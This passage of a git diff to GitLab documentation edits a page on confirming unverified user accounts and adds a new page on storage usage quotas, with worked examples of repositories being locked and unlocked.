improve the [sign-in experience for an unverified user](https://gitlab.com/gitlab-org/gitlab/-/issues/29279) in a future release. When an affected user commits code to a Git repository, that user may see the following message: @@ -107,21 +107,21 @@ Once connected, run the following commands to confirm all user accounts: User.where('LENGTH(confirmation_token) = 32').where(confirmed_at: nil).find_each { |u| u.confirmed_at = Time.now; u.save } ``` -CAUTION: **Caution:** +WARNING: The command described in this section may activate users who have not properly confirmed their email addresses. ## What about LDAP users? -LDAP Users will remain confirmed if all of the following conditions are met: +LDAP Users remain confirmed if all of the following conditions are met: - The ["User email confirmation at sign-up" option](../security/user_email_confirmation.md) is set to false. - The first sign-in is based on user LDAP credentials. - The user has added and verified [a secondary email address](profile/index.md#profile-settings) some time later. -NOTE: **Note:** -Confirmation timestamps (primary vs. secondary) will be different. +NOTE: +Confirmation timestamps (primary vs. secondary) are different. -Users will be unconfirmed by the background migration if any of the following conditions are met: +Users remain unconfirmed by the background migration if any of the following conditions are met: - They [create an account through GitLab](profile/account/create_accounts.md). - They [swap their primary email address](profile/index.md#profile-settings) and verify it. diff --git a/doc/user/usage_quotas.md b/doc/user/usage_quotas.md new file mode 100644 index 00000000000..5f637c8d5cb --- /dev/null +++ b/doc/user/usage_quotas.md @@ -0,0 +1,94 @@ +--- +type: howto +stage: Fulfillment +group: Provision +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Storage usage quota + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13294) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.0. +> - Moved to GitLab Free. + +A project's repository has a free storage quota of 10 GB. When a project's repository reaches +the quota it is locked. You cannot push changes to a locked project. To monitor the size of each +repository in a namespace, including a breakdown for each project, you can +[view storage usage](#view-storage-usage). To allow a project's repository to exceed the free quota +you must purchase additional storage. For more details, see [Excess storage usage](#excess-storage-usage). + +## View storage usage + +To help manage storage, a namespace's owner can view: + +- Total storage used in the namespace +- Total storage used per project +- Breakdown of storage use per project, by storage type. + +To view storage usage, from the namespace's page go to **Settings > Usage Quotas** and select the +**Storage** tab. The Usage Quotas statistics are updated every 90 minutes. + +If your namespace shows `N/A` as the total storage usage, push a commit to any project in that +namespace to trigger a recalculation. + +A stacked bar graph shows the proportional storage used for the namespace, including a total per +storage item. Click on each project's title to see a breakdown per storage item. + +## Storage usage statistics **(BRONZE ONLY)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247831) in GitLab 13.7. +> - It's [deployed behind a feature flag](../user/feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +The following storage usage statistics are available to an owner: + +- Total namespace storage used: Total amount of storage used across projects in this namespace. +- Total excess storage used: Total amount of storage used that exceeds their allocated storage. +- Purchased storage available: Total storage that has been purchased but is not yet used. + +## Excess storage usage + +Excess storage usage is the amount that a project's repository exceeds the free storage quota. If no +purchased storage is available the project is locked. You cannot push changes to a locked project. +To unlock a project you must [purchase more storage](../subscriptions/gitlab_com/index.md#purchase-more-storage) +for the namespace. When the purchase is completed, locked projects are automatically unlocked. The +amount of purchased storage available must always be greater than zero. + +The **Storage** tab of the **Usage Quotas** page warns you of the following: + +- Purchased storage available is running low. +- Projects that are at risk of being locked if purchased storage available is zero. +- Projects that are locked because purchased storage available is zero. Locked projects are + marked with an information icon (**{information-o}**) beside their name. + +### Excess storage example + +The following example describes an excess storage scenario for namespace _Example Company_: + +| Repository | Storage used | Excess storage | Quota | Status | +|------------|--------------|----------------|--------|-------------------| +| Red | 10 GB | 0 GB | 10 GB | Locked **{lock}** | +| Blue | 8 GB | 0 GB | 10 GB | Not locked | +| Green | 10 GB | 0 GB | 10 GB | Locked **{lock}** | +| Yellow | 2 GB | 0 GB | 10 GB | Not locked | +| **Totals** | **30 GB** | **0 GB** | - | - | + +The Red and Green projects are locked because their repositories have reached the quota. In this +example, no additional storage has yet been purchased. + +To unlock the Red and Green projects, 50 GB additional storage is purchased. + +Assuming the Green and Red projects' repositories grow past the 10 GB quota, the purchased storage +available decreases. All projects remain unlocked because 40 GB purchased storage is available: +50 GB (purchased storage) - 10 GB (total excess storage used). + +| Repository | Storage used | Excess storage | Quota | Status | +|------------|--------------|----------------|---------|-------------------| +| Red | 15 GB | 5 GB | 10 GB | Not locked | +| Blue | 14 GB | 4 GB | 10 GB | Not locked | +| Green | 11 GB | 1 GB | 10 GB | Not locked | +| Yellow | 5 GB | 0 GB | 10 GB | Not locked | +| **Totals** | **45 GB** | **10 GB** | - | - | |
